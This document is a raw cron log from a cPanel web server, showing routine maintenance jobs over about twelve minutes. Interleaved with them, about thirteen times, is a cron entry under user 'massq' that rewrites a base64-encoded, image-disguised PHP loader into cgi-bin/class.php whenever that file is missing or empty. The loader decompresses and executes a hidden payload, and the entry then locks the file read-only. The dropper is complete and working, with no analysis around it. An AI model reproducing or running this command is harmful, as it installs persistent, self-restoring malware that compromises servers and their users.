Sep  3 22:53:01 server CROND[14754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:53:01 server CROND[14755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:53:01 server CROND[14756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:54:01 server CROND[15219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:54:01 server CROND[15220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:54:01 server CROND[15221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:55:01 server CROND[15610]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:55:01 server CROND[15611]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:55:01 server CROND[15614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:55:01 server CROND[15618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:55:01 server CROND[15619]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:55:01 server CROND[15617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:55:01 server CROND[15616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:56:01 server CROND[16439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:56:01 server CROND[16441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:56:01 server CROND[16440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:57:01 server CROND[16816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:57:01 server CROND[16817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:57:01 server CROND[16819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:57:01 server CROND[16818]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 22:58:01 server CROND[17200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:58:01 server CROND[17201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:58:01 server CROND[17202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:59:01 server CROND[17671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:59:01 server CROND[17670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:59:01 server CROND[17672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:00:01 server CROND[18056]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:00:01 server CROND[18057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:00:01 server CROND[18062]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:00:01 server CROND[18064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:00:01 server CROND[18066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:00:01 server CROND[18061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:00:01 server CROND[18065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:00:01 server CROND[18060]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:00:01 server CROND[18063]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 23:01:01 server CROND[18895]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 23:01:01 server CROND[18896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:01:01 server CROND[18897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:01:01 server CROND[18898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:01:01 server run-parts(/etc/cron.hourly)[18895]: starting 0anacron
Sep  3 23:01:01 server run-parts(/etc/cron.hourly)[18918]: finished 0anacron
Sep  3 23:02:01 server CROND[19296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:02:01 server CROND[19297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:02:01 server CROND[19298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:03:01 server CROND[19679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:03:01 server CROND[19680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:03:01 server CROND[19681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:04:01 server CROND[20113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:04:01 server CROND[20114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:04:01 server CROND[20115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:05:01 server CROND[20524]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:05:01 server CROND[20526]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
